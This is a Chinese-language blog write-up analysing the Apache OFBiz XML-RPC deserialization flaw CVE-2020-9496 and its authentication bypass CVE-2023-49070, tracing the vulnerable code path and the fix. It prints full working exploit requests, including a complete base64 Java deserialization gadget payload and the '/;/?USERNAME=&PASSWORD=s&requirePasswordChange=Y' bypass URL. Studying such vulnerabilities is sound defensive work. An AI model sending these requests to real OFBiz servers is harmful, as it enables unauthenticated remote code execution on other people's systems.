CVE-2020-9496 OFBIZ XML-RPC漏洞分析与漏洞复现

2023-12-11 17:12

本文主要是介绍CVE-2020-9496 OFBIZ XML-RPC漏洞分析与漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2020-9496

最近披露了Apache OFBiz 未授权远程代码执行漏洞,是对CVE-2020-9496的绕过,所以先来看看这个漏洞

复现环境:17.12.03

影响范围:Apache Ofbiz:< 17.12.04

环境搭建

  • 下载:Index of /ofbiz

打开项目,配置如下

等这一步加载完成等了好久,接下来就是像maven一样编译

得到了一个Jar包,接下来运行它

这里我运行报错了,直接去运行org.apache.ofbiz.base.start.Start

可以访问https://localhost:8443/accounting

漏洞复现

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">base64的payload</serializable></value></member></struct></value></param>
</params>
</methodCall>

这里直接用yakit发,开始打半天没打通,后面才看到是解码错误,是百分号的问题,平常发base64习惯urlencode发,直接用原始的base64发包即可

 

XML-RPC消息格式

  • 文档:XML-RPC Specification

每个XML-RPC请求都以<methodCall></methodCall>开头,该元素包含单个子元素<methodName>method</methodName>,元素<methodName>包含子元素<params><params>可以包含一个或多个<param>元素。如:

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181<?xml version="1.0" encoding="utf-8"?>
<methodCall> <methodName>examples.getStateName</methodName>  <params> <param> <value><i4>41</i4></value> </param> </params> 
</methodCall>

几种常见的数据类型

<!-- array -->
<value><array><data><value><int>7</int></value></data></array>
</value><!-- struct -->
<struct> <member> <name>foo</name> <value>bar</value> </member> 
</struct>

漏洞分析

路由在webtools/webapp/webtools/WEB-INF/web.xml下配置了servlet

跟进control,后续在doGet方法中经过一些设置后,使用RequestHandler的doRequest来处理请求

对于这里的requestHandler是在doGet开头通过this.getRequestHandler()获取到的

跟进后可以看到,其实这里是取的与web.xml同目录下的controller.xml

然后会对EventFactory等实例化

其实就是设置对应的handler,回到doRequest方法

这里requestMapMap定义了216个requestMap,随后跟进访问的路径xmlrpc从Map取出对应的value的阿斗了requestMap

往后继续看

走到了runEvent函数来处理请求(这里有好几个runEvent的调用,主要有一些检查登陆的event在前面)

runEvent函数中会查找对应event到handler然后进行invoke方法调用,以上就是web方面路由的调用

当处理到xmrpc的时候

调用对应的invoke方法

没有传入echo参数进入else分支

这里的getrequest方法会对POST数据进行解析,然后通过execute执行

在execute方法中通过methodName的值会获取handler

跟进getHandler

可以看到默认定义了3670种methodname,如果找不到则会返回no such service

接下来回到getRequest解析请求的地方

可以看到会对POST的数据使用XMLReader进行解析,以XmlRpcRequestParser为解析器,setFeature这些是为来防止XXE等外部实体解析的

接下来就是xml解析操作,包括startElement()endElement()等。我们知道在解析器解析xml数据的过程中,会触发到scanDocument()操作对元素进行逐一“扫描”,其中就会进行startElement()endElement()的调用,这个过程如果处理不当就会引入问题。

在startElement解析最后,会调用父类的startElement

最后当标签为serializable的时候,会返回SerializableParser对象给上层

这里在返回searializableParser的时候前面会有个if,要求pURI等于http://ws.apache.org/xmlrpc/namespaces/extensions,这也就是为什么payload中会有<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">

在得到返回的对象后调用SerializableParser的startElement方法

这里会创建一个base64解码器,这里应该是调用其父类ByteArrayParser的startElement

然后会调用到characters方法对base64进行解码,并且会在解码后写入字节流,这里知道会base64解码即可

接下来就按节点调用endElement了,刚才是递增从外向内,那么end的时候就是递减从内向外开始解析了

先设置了result

接下来是value节点

当调用到MapParser的时候,会调用endValueTag

调用对应typeParser的getResult方法

取出原先设置的result直接反序列化,而ofbiz本身是有CB链的依赖的

为什么要用struct

可以看到在XmlRpcRequestParser的节点解析中,前面几个默认是methodCall,methodName,params,param,这个处理过程是随着每次遍历标签进行的,当扫描完4个必须提供的标签后,会调用父类的startElement()进行处理,而typeParser就是在父类中完成赋值的,随后便通过不同的解析器进入不同的解析流程,还是会调用对应解析器的startElement,这个过程是递归的

也就是前面提到的消息格式

<?xml version="1.0" encoding="utf-8"?>
<methodCall> <methodName>examples.getStateName</methodName>  <params> <param> <value><i4>41</i4></value> </param> </params> 
</methodCall>

后面default开始解析的时候其实是从value节点内的东西开始的,这里应该是<i4>

而前面我们提到的获得searializableParser,虽然直接传入可以得到base64解码器,但是在调用endElement的时候,只能调用到setResult,不能到最后getResult来触发反序列化

最后选用了struct标签,它能把数据作为一个结构体传入

<?xml version="1.0"?>
<methodCall><methodName>ping</methodName><params><param><value><struct><member><name>foo</name><value>aa</value></member></struct></value></param></params>
</methodCall>

最后在MapParser中调用了标签内typeParser的getResult方法触发反序列化

漏洞修复

Fixed: Apache OFBiz unsafe deserialization of XMLRPC arguments (CVE-2… · apache/ofbiz-framework@4bdfb54 · GitHub

主要就是在controller.xml加上了对于/webtools/control/xmlrpc路由的鉴权

但是在下面这个漏洞中,我看到增加的东西不仅这些,可能后续还进行了增加的,在CacheFilter中还增加了对serializable标签的检查

具体怎么鉴权的呢

RequestHandler的获取是与Controller.xml相关,涉及到的event调用也有需要授权和不需要授权的

首先是一些需要预加载的相关event的循环调用

接下来是检测需要相关requestMap是否需要鉴权

需要的话就调用LoginWorker的login方法(runEvent中通过反射实现)对其进行鉴权,如果鉴权通过或者不需要坚强就调用runEvent对其进行处理走到后续流程

CVE-2023-49070

这个洞是CVE-2020-9496的绕过

漏洞影响范围:Apache OFBiz before 18.12.10

复现环境:18.12.09

漏洞复现

在https://www.oscs1024.com/hd/MPS-ope5-i4zj这个漏洞通告中已经给出了权限绕过的payload,结合上一个洞

POST /webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyNjQzNTgzNjA0MzcyNTABAB9MeXNvc2VyaWFsL1B3bmVyNjQzNTgzNjA0MzcyNTA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param>
</params>
</methodCall>

漏洞分析

在修复版本中,看到了对xmlrpc路由增加了权限验证

具体是怎么加的呢,就是需要登陆,具体的登陆逻辑在LoginWorker中

在最开始处理路由的时候,首先会处理checkLogin这个event

最后通过反射调用到LoginWorker到extensionCheckLogin方法

具体的检测在checkLogin方法

这一个if如果进去了就代表没有登陆,会返回一个error,如果没有进这个if则会在最后返回success代表检测结果是成功登陆

if (username == null|| (password == null && token == null)|| "error".equals(login(request, response)))

三个条件均不成立的时候就可以不进入if,现在我们主要就是要login这个函数返回的值不为error

一直往下看,首先username为空的话会向unpwErrMsgList里面add一个值,然后当requirePasswordChange参数为Y的时候,因为unpwErrMsgList不为空,进入第二个框里面的if,最后三目运算符返回requirePasswordChange

这样就自然而然绕过了登陆检测

但是不知道什么时候,ofbiz在CacheFilter中添加了一个doFilter

当访问/control/xmlrpc路由的时候会检测body里面是否有</serializable,不过这个检测方式就和正常的路由一样,直接添加/;/这样就直接绕过了,所以最后权限绕过的payload

/webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y

参考链接:

Apache Ofbiz 0day 未授权代码执行

Apache Ofbiz RCE (CVE-2020-9496) 漏洞分析 - 先知社区

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析 - 先知社区

OSCS | 开源软件供应链安全社区 | 让每一个开源项目变得更安全

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

这篇关于CVE-2020-9496 OFBIZ XML-RPC漏洞分析与漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/481446

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

intellij idea generatorConfig.xml

generatorConfig.xml <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE generatorConfigurationPUBLIC "-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN""http://mybatis.org/dtd/mybatis-ge

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h>#include <stdlib.h> void shellSort(int data[], int n){// 划分的数组,例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量,换值int temp;in

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除